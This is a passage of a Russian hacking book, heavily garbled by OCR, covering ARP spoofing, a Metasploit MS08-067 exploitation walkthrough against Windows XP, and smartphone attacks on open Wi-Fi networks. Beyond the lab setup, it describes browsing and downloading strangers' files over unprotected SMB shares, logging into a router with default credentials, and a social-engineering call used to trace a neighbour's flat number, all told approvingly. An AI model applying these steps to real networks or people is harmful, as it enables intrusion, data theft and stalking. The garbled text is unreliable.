HopMaanaﬂ pa60Ta CETH BOCCTAHOBHUTCS CHYCTSA HECKOJIBKO CEKYHJ IIOCJI€ IpEeKpalie-.
HHsA paCcCbUIKH HEBCPHBIX INIAKETOB.

3aMeTPl'M, YTO TaKas aTaka, BBI3bIBAIOIlasd HAPYUICHHUE B JIOKAJIBHOM CEIMEHTE CE€TH, OT-
HIOAb HC HagyMaHHasi. Xakep MOXET IIPUMCHATH €€ HE TOJIBKO 11 HapyIICHUs p3.60TI>I
BCEro CCrMeHra C€THu, 10CTaBJIAA HpOBaﬁﬂepaM HHTepHeTa JOIIOJTHUTECIIBHBIC XJIOIMOTHI.

3/I0yMBIIUIEHHIK MOKET IPOM3BOAMTH TOHOOHYIO aTaKy TaKKe JUIsl BIOJTHE KOHKPETHBIX
neneit. Hanpumep, kak AOBEpUTENHHO paccKa3hiBall MHE HEKMI HAYMHAIOIIMNA XaKep,
JIMYHO OH HCHOJIB30Ball 3T0, noameHass MAC-aapec urpoBoro cepsepa (HaxoAsIIerocs
HMMEHHO B €r0 CErMEHTE CeTH) U TOro, YTOOBI "MPOYHUCTHTE" KaHall, CHU3UB Harpy3Ky
B CETH 3a cyeT reiiMepoB. Emie Obl: MrpoKH, MPeANpPUHSB HECKOJIBKO HEYJaYHbIX IOIIbI-
TOK, TIOTEPSAB CBS3b C CEPBEPOM, XOTs OBl Ha BpeMsl BUIMMO HaUMHAIH 3aHUMAThCS YeM-
HUOYIb IPYTHM.

Ilpu mpoBeneHnu NMogoOHOH aTaky JICHMBOMY Xakepy VIS 3aMeTaHHs CJIEJOB JaXke He
Tpebyercs cMeHiATs MAC-afpec Ha CBOeM KOMIIBIOTEpE, ¢ KOTOPOTO OCYINECTBIIAETCS
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. Puc. 5.40

Program Fitesifar} - Far

E:\Program Files\Far>arp -a

Wuteppenc: 192.168.0.171 --- Oxd
agpec & WHTepHeTe Puspueckun agpec  Tun
152. 168.9.1 QR-19-66-93-29-2b auHamMuueckun

192. 168: '3 100 eli-b2-a5-2f -a8-75 AuvHaMUUECK UL

E:\Program Files\Far>

Puc. 5.41

ataka. Jlokanu3oBath ero OyIeT JOCTaTOYHO HENpOCTO, XOTA OBl MOTOMY, YTO B Ilepena-
BaeMbIX JIOXKHBIX ITaKeTax He OyleT conmepkaThbes peanbubiii MAC-aipec HCTOYHMKA.

B 3TOM 5lerKo yOeauThes, BKIIOYMB BO BpeMs aTaKH B 9TOH jke nporpamme cHubdep misi
3axBaTa ITAKeTOB U MIOCMOTPEB UX coaepxkmmoe (puc. 5.42). -

3aMeTHM eIme, 9TO yKa3aHHas IporpaMMa uMeeT HeoObrdaifHOe MHOXKECTBO MOJIE3HBIX
BO3MOXKHOCTEM M TPaKTHYECKd HE3aMEHHMa B KayecTBe Habopa HMHCTPYMEHTOB IpH
paboTe c ceTAMH W B TOM YMCIIe NPU OTPabOTKE BOMPOCOB, CBA3aHHBIX C MX Oe3omac-
HOCTBIO. 3J1ech ke TOKa MBI YIIOMSHYJIM COBCEM HEMHOIO: B YaCTHOCTH, O HEKOTOPHIX
ocobeHHoCcTAX mpHu pabore ¢ mporokonoM ARP, a Taxke o cHuddepe (kak U MHOrue
HPOrpaMMBI TAKOTO POJia, B HALIEM CJTy4ae MCIOJIB30BAJICH ye 3HAKOMBIM HaM BHELIHUIMA
caupdpep WINPCAP, ycranaBHMBaeMslil TOTIOTHUTENHHO).
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i--hardware_type: $01
- protocal_type: $0800

i hardware_size:6

- protocol_size:4

-op_code: $01 (request)
--sender_mac: 001966-93292B
--ip_srcaddr: 192.168.0.100

:-- dest.mac: FFFFFF-FFFFFF
..ip_destaddr: 0.0.0.0

! Puc. 5.42

5.2. Métasploit Framework: -
pa6oTa U3 koOMaHAHOMN CTPOKK

Ecnu He ynomseyTs 0 Metasploit Framework u3 cocrasa Kali Linux, To npencraBieHue
06 3TOM mporpaMMHOM ofecrieueHHM OyIeT HeMONHBIM. 31eCh Mbl HEMHOTO PacCKaKeM
0 paGoTe 3TOrQ NPOrPaMMHOTO 0GECTIEYEHHS TOTBKO B PEIKMME KOHCOIH.

B 310l Hame#t naGopaTopHoit paGoTe: pasmecTHM mo ampecy 192.168.0.205 "cymepsi-
paByo" onepa_ﬁnom{qucm"reMy'(Momﬂo WCTIONIB30BAaTh BUPTyaIbHble MAIIMHbE — KaK
BaM yJ00HO). Jlna 5TuX meneli, kak Mbl Y)K€ JIOTOBOPHJIMCH, IONOWAET HemaT4eHHas
Windows XP. K cnoBy ckazats — depe3 MHOTO JI€T BBIACHHTCS, YTO M HOCIEITHUE BEp-
CHH ONEpallMOHHBIX CUCTEM He MeHee "mpipsBeie”. Ho, 1o Oymer notom. Ceifgac 310
KaK-TO He adummpyeTcs. '

Ha npyrom xommstorepe 3arpy3uM Kali Linux. Kak 3amyckats Kali Linux, a Taxoke moz-
KnoJarts ero k cetu nmo Wi-Fi (eciii B kadecTBe XOCTa UCIOIB30BaTh HOYTOYK), MBI YKe
OIMCHIBAJIN B 2nase 1. BbI30B TepMUHAIBHOM CecCHUM Takke OBUI HaMH OIMCaH paHee
(cM. puc. 5.3). '

Jitst Havama SKCIEPUMEHTa B TEPMHHAILHOW CECCHM 3aIyCTUM KoMaH,uy nmap (http://
nmap.org/man/ru/), Tie B Ka4eCTBE NapaMeTpoB yKaxeM (puc. 5.43):

0O 192.168.0.205 — IP-azpec »xepTBEI;
O -sv— onpe}:(ehenﬂe BEpCHUH;
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O -0 — BKIIOYHTb ONpe/Ie/ieH e ONEPaliOHHON CHCTEMBI;
O -v— BBIBOA GOMIBIIETO KOJIMYECTBA HHOPMALVH,

O -aA— arpeccMBHOE CKaHUPOBaHHMe, B HallleM IIPAMepe MOXKHO ObLITO ¥ He BKIIIOYATh.

Applications  Places g 2] Wed Jul 29,

Puc. 5.43

Hac ceiiuac unTepecyer cepBuc Ha mopty 445, T. k. ‘MBI yXKe pa3bupalii ysa3BUMOCTH
‘MS08_067_NETAPI. Hcmonb3ys npaByro KHOIKY MBIIIH, HY)KHO 3a[IOMHHUTb HMS CEpBU-
ca (SERVICE) u ero Bepcuto (VSERSION): sTo microsoft-ds 1 Windows XP microsoft-
ds, COOTBETCTBEHHO.

IMpousBenem 3amyck koHconu Metasploit Framework xoMaHno# msfconsole (puc. 5.44).
3amyckaercst OHa AOJTO.

KoMannoii search, HCTIONB3ys B KayecTBE NapaMeTpOB Ha3BaHWA, paHee (cM. puc. 5.43)
CKONUpOBaHHBIE B Oydep, MpoBepHUM — €CTh JIM [0 YKa3aHHOMY CEpBHUCY HaHHBIE 00
ysa3BUMOCTAX B 6a3e Metasploit Framework (puc. 5.45).
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Wed Jul 2
root@kali: ~

File Edit View Search Terminal Help
F# me "

[*] Starting thks Me

auth
o iIR f 0 Unauthenti

Solink dir 845 @

Puc. 5.45
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TTocKoJBKY CIHCOK 3KCIUIOMTOB GONBINO, a MBI MIIEM HIBECTHYIO HAM yS3BHMOCTB, TO
BOCIIOJIB3YEMCS TIOMCKOM B TEPMHHAIBHON ceccuu (pHC.5.46), XOTS MOXKHO U MPOCTO
MIPOJIUCTATE 3KPAHbI N0 HY)KHOTO MeCTa.

ite Edit View -Search. Terminal’ Help .

B Scarch for: | MS08_067

7% Match case

71 Match entire word onty

3 Match as reqular expression
» & Search backwards

¥ Wrap around

Puc. 5.46

Masiee Hy’KHO CKONMPOBaTh Ha3BaHWE KCIUIONWTA (INETYKOM MPaBOH KHOMKOM MBIIIK Ha
BbIZIEJICHHOM (parmeHTe u BEI6opoM komansl Copy), puc. 5.47.

HUHTepecHo, 4To ypoBeHb, panr (konoHka Rank) uckoMoi ya3BMMOCTH GONBIIOH, HO HE
caMbIi BBICOKMIA: great (camblii BBICOKHUI ObLT GBI excellent).

O6paiaeM BHIMaHUE — IOCIIe KOMaHIbl search (CM. pUC. 5.45) mporpaMma JOCTaTOYHO
JUIMTE]IBHOE BpeMsi HE IIOKa3biBaeT IIPH3HAKOB paboThl, "3amepeB" Ha COOOIICHUH
(puc. 5.48). '

DTO He HOLKHO BaC MyTaTh, HA CAMOM Jiejie IporpamMmma paboTaeT | CIIEAyeT IPOCTO He-
MHOTO HO/IOXK/AATh.
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Qpen Terminal

Open Tab

Tlose Window

.E_asté

Profites

+ Show Menubar

Input Methods

Iponmomkum. B xoHcom Metasploit Framework Beo6x01M0 BBIOTHUTE KOMAHTY use U
B KauecTBe MapaMeTpa yKa3aTh Ha3BaHHE SKCIUIOWTA, CKOIMpOBaHHoe Hamu B Oydep
(puc. 5.49). '

Ecnu Bce nipaBUIBHO, MO MPUTIIAIIEHUIO BBl YBUIWTE, YTO OKA3aJIMCh B MEHIO DKCIUIONTa,
€ro HazBaHue OyJeT MOACBeYNBaATHCS B IPUTIIAIIEHUM KpacHEIM IiBeToM (paic. 5.50).

Fros Met=soplodt Poo friatcs bt

crploit windoes ombooma®s 087 petapilf

Puc. 5.49

57 netapl

Puc. 5.50

Jins Toro 4yroObl BBIICHUTH, KaKie ITapaMeTphl HeOOXOIMUMBI 3KCILIOHNTY, CIIeAyeT BHIIOJ-'
HUTBH KOMaHJy show option (puc. 5.51).

B 4acTHOCTH, ClieyeT yKa3aTh OMNIMIO RHOST — 3TO He YTO MHOe, kak IP-ajpec »epTBbl,
KOTOpBIi 3aaeTcss KOMaHAo# set (puc. 5.52).
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Mocddle optl

I FHams

Sutomat ic

Puc. 5.51

Puc. 5.53

MoxHO eme pa3 BBIIOJHHTE show option, YTOOBI YO€IWTbCA, YTO RHOST 3afaH
(puc. 5.53).

Haxoger, 3aryckaeM 5KCIUIONT KOMaH/OM exploit W HAOMIOAAEM, YTO MPOHM3OLIEN B3JIOM
JKEPTBHI, OTKpHLIAach ceccus (puc. 5.54).

Ilocne cocrosiBmerocs JIPOHHKHOBCHHUA Ha KOMIIBIOTEPEC-KEPTBE Bbl MOXKETE CACIATh BCC
YTO YrOAHO. HOCTyH noyHe#! YUTOOBI IMOHATH CHHTAKCHC KOMaHa, IJid IMOACKAa3KH BbI-
IOJIHUM KOMaHAy 2.

CKpUHIIOTH CO BCEMH IOCTYNHBHIMM KOMaHAaMH (110 pasfenaM) IpHUBEACHBI Ha
puc. 5.55-5.60. M1 xe w1 poGEl, YTOOBI YOEAUTECS B MOTy4EHHOM JOCTYIIE, BBIIOJ-
HUM KOMaHJy shell cmd, a B KOMaHAHOM CTpOKe — KOMaHLy dir (puc. 5.60).
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tdapic System Commands

=L b

Cammand Lescription

Clear the svent log
quiznes any
Cammand
miore environment variab
current proc identif
privileges available to the current p

getsid Cothie : the © that the ver 1s running as
getuid set the user X erver iz running as
kil o rmi P :
fz

amc ommaind
emote compl

23l an lmps ation token from ths

Puc. 5.57

Stdapl: User interface Commands

DA

stations

E e L Fag

topn
e

of the user interfa

i
am_vhiat
am_1 1zt
3 _EriEp

from the default micr

Puc. 5.58
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Friv: BElevate Commands

Command Uescription

Lttempt fo 2levate vour privilegs to that of Lo

rd database Commands

esoription

bashdumg Cumps the contents of the G4

Timestomp Commands

Comimand Description

Manipulate file MACE

attrit

it inf

<DIR=
<[ IF=
=0LIR=>

Puc. 5.60
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Ha stom HeGOJIBIIOM TIpEMepe, 3}131@01\4;105 c Metasplo1t Framework, MBI paccMoTpenH
BO3MOMKHOCTE OCYIICCTRICHHS TECTOBOM aTaKd ¢ KOHCONH. OTO JMIIb Majias TONHMKA
TOTO, WIO YMEET 3TO: MPOFPAMMEOE ‘obécnieuenre. Jlymaercs, uTo s JanbHeHmero
CaMopa3BUTHA mo60My CIIEHHANUCTY 6y11eT HHTEPECHO paspabotats u BKJIIOYHUTH B 6asy
JlaHHBIX IPOrPaMMBI COOCTBEHHEIH SKCILIOHT.

]

5.3. MHCprmeHTapuu Ansi cMapTdoHa,
wnu M06unb|-|bm XaKUHr

Beaorne'rcmemmm BJIaJeser| Wl-F_l-poyTepa, HE HACTPOMBIIMH BiMsIOMMe Ha Gesomac-
HOCTB CETH NapaMETPEL, IOPOIO AaKE HE MOMO3PEBAET, YTO XaKep MOXET JIETKO HONYYHTh
AOCTYN HE TOJBKO K CaMOMY POYTepY, HO ¥ K JaHHBIM HA €ro KOMIIBIOTEpEe HIIH APYTHX
YCTpOMCTBAX Iake ¢ OGBIYHOIO cmap’nboua

B 3TOoM eMy moMoxkeT yCTaHOBJIEHHas Ha cMapchOH IIOCpCJICTBOM Play MapKeTa 6ec-

IUIaTHaA nporpamma Fing (pnc 5. 61) |

Fing - Network Tools
-g]eﬂook

Puc. 5.61

His Hagana NOAKITIOYMMCS k Wi-Fi-cern CpencTBaMH cmapﬂbona B namem npumepe 310
He3aIuIIeHHast CeTh C. umMeHeM AF (pnc 5.62).

Iporpamma Fing nokassBaeT JOCTYIIHBIE XOCTH B CETH C MMEHEM AF. Tak kak mpo-
rpaMMa 3allOMMHAET B.PasHOE BpPeMsi OOHApy)KCHHbIe YCTPOMCTBA, TO B CIy4ae €CIH
B JaHHBIH MOMEHT KaKoe-TH00 U3 HUX BHIKITIOYEHO, TO HA SKpaHe OHO OyZeT MOoACBEYECHO
Gonee GnepHo. B gacTHOCTH, B HameMm npuMepe .LEdPsl 6/9 yKasHIBAIOT, 9TO M3
9 ycTpoiicTs celuac BKIIOYEHO TOABKO 6 (pHC. 5.63).

HaubGonsmuii MHTEpeC celdac mis Hac mpeAcTaBiIseT XocT ¢ umeHeM RGR mo aapecy
192.168.0.101. Cyzns no npoussouremno ceteBoii kaptel (GIGA-BYTE TECNOLOGY)
3T0, CKOpee BCEro, OGBIMHBIN HeCKTON-KOMITLIOTEP, Ha KOfOPOM MOryT GBITh JOCTYTIHBI
pamuHBIe CepBUCH. [103TOMy, BHIGpaB yKasaHHbill XOCT Ha)KaTHeM Ha yKa3aHHYIO
CTPOKY, TIOy4¥M CBEICHNS, YKa3aHHbIE Ha 9KpaHe (puc. 5 64).

Msi monyuaeM Bee Gosbme M Gonbme mEGopMaiim. Jlanee, BHiOpaB B MeHIO Scan
services, MOJyYUM CIIMCOK JOCTYIHBIX CEPBHCOB Ha BHIOPAHHOM HaMH Uil M3y4EHHS
KoMIbIoTepe (pHc. 5.65).

Cepsuc no nopry 445 (mcrosoft-ds) — 310 He uTO HHOe, Kak share-pecypc, H ecii OH He
0 maposyieM (2 MIMEHHO TaK HacTpauBaloT MOJABILIomee GONLIIMHCTBO MOIB30BaTeNeH
CBOM pecypchl B JOMAIIHeH CeTH), TO IOCTYNl K HEMy MOXHO Ge3 Tpyja HOIy<dTh I0J
uMeHeM guest. HaxxaTuem BbIGepeM 3Ty cTpouky Ha skpade. IIporpamma Fing xopora
TEM, YTO €C/IM Bhl €lle HM pa3y He NOJIb30BATUCH KaKUM-HUOYOb CEPBHCOM H y BAaC HET



SaknodumernbHbil YUK 3M0yMblWIeRHUKa, unu Ymo denaem xakep nocne esnoma Wi-Fi-cemu 143

!

- Nepexmountbos Ha

| MOBMNIbHBIE AAHHDIE -
ABTRHMETVMECKY TRPSIAIITLON HE %
MGBINEHELS DAHNIS, GLNY RHTEDHET

Hepes Wit vegonTyngs.

L CETH WA

AF

Nogrmowsno

BKROO2

- DIR-620

Kv-129 Rostelecom

TMouck

Puc. 5.62 Puc. 5.63

Service Scan

7 services

2l
EAAC Al
Wenclor SIGA-BYTE TECHMOLLC

GROLEP

2 days ago

Puc. 5.64 Puc. 5.65
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Moy (IporpaMMel) i JOCTYTIA TIO KaKOMY-TO FPOTOKOIY, paboTafomeMy Mo CTaH-
JapTHOMY TIOPTY, TO BaM OyJeT MpeAioKeHo NOyCTaHOBUTE nocpencTeoM Play Mapkera:
HeJIoCTaloNiee MporpaMMHoe obecriedeHure. B Hamem citydae 1y coeMHEHUs 1pe6ye'rcs1
IpOrpamMa-KHIeHT, pa60Ta10111a;1 to:mpotokony SMB (Microsoft) — puc. 5.66. ;

Tpe6yeMa>1 Ham APOrpamMMa Ha3hHIBAETCH. AndSMB. Byzer TIPEIOXKEHO ee yCTaHOBmL
nocsie BriGopa Connect w1th SAMBA cllent (puc. 5.67).

AndSMB (samba [
client}
LYSESOFT

&

verancanis B

Puc. 6.6 ' Puc.567
yCTaHbBP.I.]}': ﬁpordeMy’ HOBToplm BCE AeiicTBUA, yKa3aHHbIE Ha PHC. 5.63-5.66. Y Torna
rocie BLIGOpa Connect with SAMBA client HaMm Oyner TIPE/IOKEHO BBECTH HMs H
TIapoIh K share-pecypcy (puc. 5.68). \

HaKOHeH, TIOTy9aeM JTOCTYT K KOMIIHOTepy (puc. 5. 69)

Hepem[eM B KaKyr0-1u60 manky u ot™eruM daiin s ckaumBaHus. JIig ckauMBaHUA HC-
TONB3YIOT 3HAYOK B BEPXHEH CTPOKE HKpaHa: H300paKeHHe CTPENKH, YIHMparomeiics B
manmio. Ho Heo6xoumo ykasaTh nanky Ha3sHaueHHs Ha cMapT¢oHe (HCTIONb3yeM 3HA90K
TenedoHa B BepXHEH CTpoKe SKpaHa) M OTMETHTh CKauMBaeMbli (ailr: mocie moMeTKH
Gaiin Mapkupyetcs rajgoukoii (puc. 5.70). Heo6xoxuMo y4uTHIBATH, 9TO HE KaX/as Iarm-
Ka NOCTYIIHA 1A 3anKcH Ha cMaprdore. Eciu TpaB Ha 3aIHCh B {TalKy HET, TO CKauMBa-
Hue He npousoiiner. Ilposepurs, ecTh MM y Bac npasa Ha 3aIMCh B MAIKy cmaproHa,
MO2HO, TIPOCTO CO3/[aB B Heif HOBYIO NIAIKy M3 MEHIO CaMoi HpOI’paMMBI AndSMB. Wmu
meTooM 1po6. Ecimi xxe Bbl 00agaeTe HeOOXOMUMBIMA TPaBaMK — HAYHETCS CKaYMBa-
Hue ¢aiina (puc. 5.71).

Hckomslit (paiin nmomydum B narnke HazHayeHUs (puc. 5.72).
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Puc. 5.68 Puc. 5.69

Puc. 5.71

s Funnonovam.bmp
| ™= paswep 31.42 MB

Puc. 6.70

Puc.5.72
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Crenaem Hebonbimoe 3ameuanue. IIporpamma AndSMB xopoiiia, HO ecTb OCOOEHHOCTH. -
HaunHaromuii Hob30BaTenb, KOTOPOMY IIOCOBETOBAIHM 3Ty HPOFPaMMy, MPOBO3HIICS
C Hell LenbIi NeHb (0OX YXK 3TOT "ApyecTBeHHEBIA" MHTepdeiic) M HHKAK HE MOT Tio-
HATH — To4yeMy (aiiyil He ckaumBarotcs. Jlaxe XoTer yske 6pocHTs skcnepument. Ho,
KaK OKa3aJoch, [IeJI0 B TOM, YTO 3[€Ch BaXHO COOMIONATH Cile/AylOUIye IpaBua (IpHIeM,
TOCJIeZIOBaTeNbHO): ' '

O cHagana TpeGyeTcs yKa3aTh Nanky Ha3HaYeHHs, KaK MBI yoke [UCAIH, MCIIONb3ys 3Ha-
4ok cMapTdoHa B BepxHel ctpoke (puc. 5.73);

O 3areM ciieqyeT OTHICKATh MamKy, B KOTOPYIO OyAeT MPOM3BOAWTHCS CKadUBaHHE,
y>Ke U3 3TOM Nalky, UCIONB3ys 3HaUOK o0Jiaka B BepxHeii cTpoke (puc. 5.74), npous-
BECTH BO3BpaT B MAIKy-MCTOYHUK U1 BeIOOpa (haiinoB Ha xocte (cM. puc. 5.70).

+ Puc. 5.73 Puc. 5.74

’

Bepuemca k nporpamme Fing. TIpogomkas ombITEL, TOMpoGyeM MOMyYHTh JOCTYH K XOC-
Ty mo mpotokoiny Telnet (o ymoiruanuto sto mopr 23). Ipouexypa yxe monstHa. Ilep-
BOHAYaJILHO I STHX Lenell moaxmodaeMcs K noaxonsmei cet (puc. 5.75). Ham u3-
BECTHO, YTO B 3TOH CETH MMEETCA XOCT C OTKPBITHIM MOPTOM 110 npotokoiy Telnet. Uura-
Tellb B KaueCTBE JOMAIIHEro 3a/laHus MOXKET YCTaHOBUTH Telnet-cepsep Ha omHOM 3
KOMIIBIOTEPOB B CBOEH JOMalIHeH CeTH: TMOO U3 KOMIUIEKTa CiTy0 OnepalliOHHOM CUC-
temsl Windows, u60 TIOABICKAB MPOrpaMMHOE O0ECIIEdeHHe CTOPOHHETO TIPOM3BOAM-
TeJIA.

Puc. 5.75
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Hac unTepecyer poytep no az

[ ¥ 192.168.0.1, 03TOMY BBIGpAB 3TOT XOCT, MPOCKAHH-
pyeM HOCTyIHBIE TOPTHI (pHc. 5. '

[IpoGyeM NOAKIFOYIATECS 10 23-My .hopTy (puc. 5.77). '

Service Sean

telnet sonnect with Telnet client
Teial

domain . Test TCP connection

ﬁw“;&
£ a3

Capytoc pb aard

Puc. 5.76 ’ Puc. 5.77

Kak yxke G510 0TMeUeHO paHee, mporpaMma Fing ycTpoeHa Tak; 4T eCilv MBI HU pasy He
TOKITFOYATHCH TI0 KAKOMY-JTH60 CTaHIapTHOMY MPOTOKOITY, 06ECTIEYMBAIOLIEMY CETEBOE
B3aUMoQJelcTBHE, TO OyNeT NpeIIoKeHO YCTAHOBUTH HENOCTAIOUIYIO IPOrpamMmy, IOA-
JIepKMBAIOIIYIO Takoe coemuHenue. Tak MpoMCXOauT M Ha 3ToT pa3. Ham Gyner mpeyio-
JKEeHO ycTaHOBUTH Nporpammy JuiceSSH (puc. 5.78).

JuiceSSH-SSH  E
Client
Sonelli 18

’

Effh ARATHMA KRy

Puc. 5.78

VcranasmuBaem JuiceSSH. D10 H0OCTATOYHO MOLIHAS IPOrpaMMa, M MOIIEPIKKA COeIH-
HeHus Telnet — 3T0 Bcero JiMmp Manas TONMKa ee (YHKIMi, OCHOBHOE e Ha3Hae-
Hue — nozanepxka nporokona SSH (puc. 5.79).

Tlocne yCTaHOBKH NPOTPaMMBI HOBTOPHM IOMBITKY COEIMHEHHA C XOCTOM, HMEIOIINM
OTKPBITBIH HOPT 23 (cMm. puc. 5.77). YU, HakoHeN, MOIKITIOYaEMCs K poyTepy, Y KOTOporo
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Nickname:. * {Dptional}

‘Run Snippet:  {Dpth

Backspace: Default (sendsDEL) =

GROUPS

Puc. 6.79 Puec. 5.80

YERSLOK

Puc. 5.81

Bctpoena nopaepxkka Telnet. Kak Bomgutes: ums — admin, iaposs — myctoit. OX yx 3Ta
Hama 6ecnieqyHocTs (puc. 5.80 u 5.81). \

ITonpoGyeM elle pa3 COEMMHUTECA U3 TIPorpaMME! Fing ¢ 3THM ke poyTepoM, HO ye TI0
nportokouy http, mopt 80 (cM. puc. 5.76). Tak kak it paGOTHI 110 YKa3aHHOMY [OPTY HC-
none3yercsi oOBIYHBIN Opay3ep, a Ha cMapT(dOHe OH Bcerja HaWmeTcs, TO MpeaIoKeH M
YCTaHOBHTH [IONOJIHUTENBHBIH MOIYJb HE MOCHENYET, U MBI COEOUHHUMCS C POYTEpPOM,
‘ucnone3yeM uMs admin ¥ Imyctodf maposib. 3a0AHO HMOCMOTPHM B KOH(QUTyparuu TO
MeCTO, I7ie BIaJeNbIly ClieOBAIO GBI OTKIIOUMTE JAOCTYH Ho IpoTtokony Telnet (mycroix
11apoNb MBI YK€ MOKPUTUKOBAIN), puc. 5.82.

Ilpomomkas pacmMpsTh OKpyxeHue is Fing, ycTaHOBMM eiie OAHy IIpOrpamMMmy
FtpSMB (puc. 5.83) mwis coemuHenuii no npotokoiy ftp, mopt mo ymomdanuio — 21.
M Tax xak Bce AEHCTBHA IO- YCTaHOBKE M MCIIONB30BaHMIO aHATOTMYHEI PEABINYIIHM, TO
I0APOGHO OCTaHABJIMBATHCA HA 5TOM He OyneMm.
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' _Language v
OIR-615 o
i ] _ ‘ _ k 1
Passwmd ' ’
Enter Clear on &
- P ¢! ﬁg"‘”""’"""""”"“’"“’“‘

Puc. 5.82

OTMeTHM, 4TO BCE YCTaHABIMBAEMbIE MPOrPaMMbl, HCIIOIb3yeMBIe HAMH B CBA3ke ¢ Fing,
He TpeGoBanu HacTpoeK. OHU 3aMeyaTesIbHO paboTaM TaK, Kak YCTAHOBHIIMCH 110 yMOJI-
YyaHuio. Xakep BCerja CTPEMHUTCS K MHHHMYMY 3aTpaT (3TO €ro MEHTAIUTET), O3TOMY
OH HCTIONB3yeT B Gombmei cremeHu GecrulaTHeie mporpamMmbl. DYHKIMOHAN ILIATHBIX
BEpCHil ONMMCAHHEIX MPOrpaMM, KOHEYHO ke, Goibime. Hampumep, ¢aiin MoxHO mpo-
CMaTpHBaTh MPAMO Ha XOCTe-KEpTBe, He CKaumBas ero k cebe Ha cMaprdoH. Kpome Toro,
He Memiaet pexiama. TeM He MeHee, QYHKIMOHaIa GeCIUIATHBIX BEPCHii Takoke BIIOJHE
JOCTaTOYHO.

Ioxamy#, U1 HOIHOrO KOMILIEKTa Ul OpraHM3aliM Hallero MoOWIBHOro LieHTpa 00y-
4eHMs noTpebyeTcs eme OHa MporpaMma ¢ HabopoM CTaHIAPTHBIX, HO OYEHB MOJIE3HBIX
HHCTpYMEHTOB. JT0 Tak U Ha3piBaeTcs — IP Tools (puc. 5.84). /

{P Tools
AmazingByte

‘ B YOTAHDRNTE YCTAHQRM T

E0TH RAATHIIA KOHTERT

Puc. 5.83 C Puc. 5.84

Bosmosxxnoctr IP Tools MOXHO yBUZIETh Ha CKPHHINOTAX, cozepikalliX MEHIO IporpaM-
MBI (puc. 5.85 u 5.86).

Kak Bumum, pa3mrtmmx TIOJIE3HBIX (YHKIUH y mporpamMmsl MHoro. lns mpuMmepa o6Gpa-
TAM BHMMaHWE Ha TyHKT MeHio Hacrpoiixa poyrepa. B ycnoBusx MOGHIBHOCTH JUIst
YCKOpEHHS Jiea, HaXOAACh Irie-HuOy b B Kade WiIH IpyroM NPHCYTCTBEHHOM MecCTe, Xa-
Kepy, YTOOBI BEIMIPAaTh BpeMs, HE HY)KHO BBOMTH B aJpECHYIO CTPOKY aJpec poyTepa
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e

l' Whois

MewHto

Wake o LAN

ForpamMme

Puc. 5.85 ' Puc. 5.86

IS TIOIKTIOYEHUS B LEJIX M3yYEeHHS ero HaCTPOeK, JOCTATOYHO BBI3BATh YKA3aHHYIO
&ymcumo B IpOrpamme.

IMpryeM mporpamMMa yske cpa3sy 1ocjie COeqUHEHHS C CEThIO MO3BOJIET HOMYYUTh BEChbMa
noJie3Hyro uHdopmarpro (puc. 5.87).

R fetHeH A, WIFE

Puc. 5.87
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Ilpexxne YeM mepeiTH K clueayrommeli nporpaMMe, pacCKakeM KOPOTEHBKYIO PEabHYIO
HCTOPHIO. '

3HaKOMBIi HaUMHAIOMMI XaKep, Ha30BeM €ro Y, HaXOAsICh B MHOIOKBAPTHPHOM, MHOIO-
STa)KHOM JOMe, U3y4all POrpaMMBbl, YKa3aHHbIe HamH Bbime. OOHAapy>XHB He3alUIIeH-
Hyto cetb Wi-Fi u ncnonesys Fing, oH moctaroyno GpICTpo Hales paciiapeHHBIE pecyp-
Chl M Jaiiee [0 MX COAEPKMMOMY TOHSI, YeM 3aHHMAeTcs H 4To cOGOM IpeiCTaBiseT
XO3MH yKa3aHHO# ceTd. Bo-mepBbiX, 1o pa3TMUHOM 06yuUaloNel U METOMHUecKOl JUTe-
paType CTajo SICHO, YTO 3TO CTYAeHT (uioiorayeckoro Qaxynisrera. Bo-BTOpEHIX, 1O
MHGOPMAIMH O PasIMYHBIX MOHETAX, 4TO ero Xo00M — HyMu3Maruka. B-TpeTsux, oH
mMImeT pacckassl U nosecTd. I1o ¢oTo KBUTaHIMM TOBapa, 3aKa3aHHOIO CTYIEHTOM, BbI-
ACHWINCH €T0 MMs, GaMILTHA 1 HOMEp MOOMIIBHOTO TenedoHa. Toapko BoT Ha GOTO KBH-
TaHLIMK [I0YEMY-TO He OBUI yKa3aH HOMep KBapTHPHIL.

Xakepa, WAYIHEro Mo ClIedy pajd MHTepeca, pa3obpano OOOMBITCTBO — B KaKOH ke
KBapTUpe XMBeT 3ToT cocen? Keraru, MHOrHe Xakepsl 6e300MIHBI IOTOMY, UTO-3aHMMa-
JOTCA THUM JIMIIb M3 MHTEpeca U3y4eHUsI CaMoro Mpolecca, a He ¢ LEIbI0 KOMY-TO IIpH-
HECTH Bpeu »
Y TyT Ha OMOIIb HAIIEMY XaKepy NPHILTH METOAB! TaK Ha3bIBAEMOW COLMAIBHON MH-
JKEHEPHH (XOTsL 15l TAKOTO CITyHast 3T0, MOXET OBITh, 3ByIUT cAmKoM nadacHo). .

Ham xakep Y IpocTO MO3BOHMI CBOEH JKEPTBE MO MOOKIBHOMY Tele(OHy, B pe3ysbTare
Yero mocJieoBal ClIeAyIOMuM JHaIor:

Xaxkep Y: 3apaBcTByii! 31O TaKOU-TO ...(Ha3bIBACM UMS U PaMUnuio)

CryaenT: [a!

Xakep Y: THl Hamvcas nosecTh "PasMEIILTIeHNs Beeit MO sKu3Hm"?

Cryaent: [la! A xt0 3107

Xakep Y: S TBos cyns06al

Crygent: He nonsn! Kro s310? .

Xaxkep Y: S e ckazan — TBoA cyap0a. B TBoeii MOBECTH ecTh 3IM30L. .. (ua3b16aem‘
Kopomxuii gpaxm, npsamo uz noéecmu). Thl 3HaKOM.c HyMeposoruei? Bor ckaxu MHe,
moOyro 1mdpy, HanpuMep HOMep KBapTUPHL, Ie Thl kuBemsb! U 4, kak TBos cyns0a,
JaM Tebe COBET, CTOUT JIM Tebe IKcaTh qajible.

CryneHrt, onemuBiuii oT o0wing (HakToB, XapaKTEpU3YIOIMIUX OCBEIOMJICHHOCTh HEH3-
" BECTHOTrO COGECENHUKA, OT HEOXKHIAHHOCTH MPOMCXOMAALIErO, 4 TakKe TOJ HAopoM
XaKepa, Ha3sIBaeT HoMep KBapTHpHL. ITociie 3TOro Xakep CBOpauyMBaeT pasroBop, 1aB CO-
BET MPOJOIDKATh IMUCATh U MOOOeIaB BEHIMTH HAa CEaHC CBA3W C HUM B CICIYIOLIHHA pas.
KakoBo e ObUTO U3yMIIeHHE XaKepa, KOrJa OKa3auoch, 9TO JKePTBA )KUBET Yepe3 CTEHKY
